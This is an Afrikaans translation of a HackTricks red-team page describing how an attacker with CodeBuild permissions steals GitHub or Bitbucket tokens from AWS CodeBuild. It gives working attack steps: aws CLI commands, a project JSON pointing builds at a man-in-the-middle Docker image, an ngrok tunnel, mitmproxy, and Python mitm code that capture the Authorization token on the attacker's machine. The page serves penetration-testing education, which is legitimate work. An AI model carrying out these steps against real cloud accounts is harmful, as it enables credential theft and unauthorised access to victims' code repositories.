AWS Codebuild - Token Leakage

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Herstel Github/Bitbucket Geconfigureerde Tokens

Eerstens, kontroleer of daar enige bronkredensiale geconfigureer is wat jy kan uitlek:

aws codebuild list-source-credentials

Via Docker Image

Indien jy vind dat die verifikasie na byvoorbeeld Github ingestel is in die rekening, kan jy daardie toegang (GH-token of OAuth-token) uitlek deur Codebuild te laat 'n spesifieke docker-beeld gebruik om die projek te bou.

Vir hierdie doel kan jy 'n nuwe Codebuild-projek skep of die omgewing van 'n bestaande een verander om die Docker-beeld in te stel.

Die Docker-beeld wat jy kan gebruik is https://github.com/carlospolop/docker-mitm. Dit is 'n baie basiese Docker-beeld wat die omgewingsveranderlikes https_proxy, http_proxy en SSL_CERT_FILE sal instel. Dit sal jou in staat stel om die meeste van die verkeer van die gasheer aangedui in https_proxy en http_proxy te onderskep en die SSL-cert te vertrou wat aangedui is in SSL_CERT_FILE.

  1. Skep & Laai jou eie Docker MitM-beeld op

    • Volg die instruksies van die bewaarplek om jou proksi IP-adres in te stel en jou SSL-sertifikaat en bou die docker-beeld.

    • STEL NIE http_proxy IN om nie versoek aan die metadata-eindpunt te onderskep nie.

    • Jy kan ngrok gebruik soos ngrok tcp 4444 om die proksi na jou gasheer in te stel.

    • Sodra jy die Docker-beeld gebou het, laai dit op na 'n openbare bewaarplek (Dockerhub, ECR...)

  2. Stel die omgewing in

    • Skep 'n nuwe Codebuild-projek of verander die omgewing van 'n bestaande een.

    • Stel die projek in om die voorheen gegenereerde Docker-beeld te gebruik

  1. Stel die MitM-proksi in jou gasheer in

    • Soos aangedui in die Github-bewaarplek kan jy iets soos gebruik:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Die mitmproxy weergawe wat gebruik is, was 9.0.1, daar is gerapporteer dat dit dalk nie met weergawe 10 sal werk nie.

  1. Voer die bou uit & vang die geloofsbriewe

  • Jy kan die token sien in die Authorization kop:

Dit kan ook gedoen word vanaf die aws cli met iets soos

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via HTTP protocol

Hierdie kwesbaarheid is deur AWS reggestel op 'n punt in die week van die 20ste Februarie 2023 (Ek dink op Vrydag). So 'n aanvaller kan dit nie meer misbruik nie :)

'n Aanvaller met verhoogde regte in 'n CodeBuild kan die Github/Bitbucket-token wat ingestel is lek, of as regte via OAuth ingestel is, die tydelike OAuth-token wat gebruik word om toegang tot die kode te verkry.

  • 'n Aanvaller kan die omgewingsveranderlikes http_proxy en https_proxy by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld http://5.tcp.eu.ngrok.io:14972).

  • Verander dan die URL van die github-opgaar na HTTP in plaas van HTTPS, byvoorbeeld: **http://**github.com/carlospolop-forks/TestActions

  • Voer dan die basiese voorbeeld uit https://github.com/synchronizing/mitm op die poort wat deur die omgewingsveranderlikes (http_proxy en https_proxy) aangedui word.

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Uiteindelik, kliek op Bou die projek, die geloofsbriewe sal in teksvorm (base64) na die mitm-poort gestuur word:

Nou sal 'n aanvaller in staat wees om die token van sy masjien te gebruik, al die voorregte wat dit het te lys en makliker (mis)bruik as om die CodeBuild-diens direk te gebruik.

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated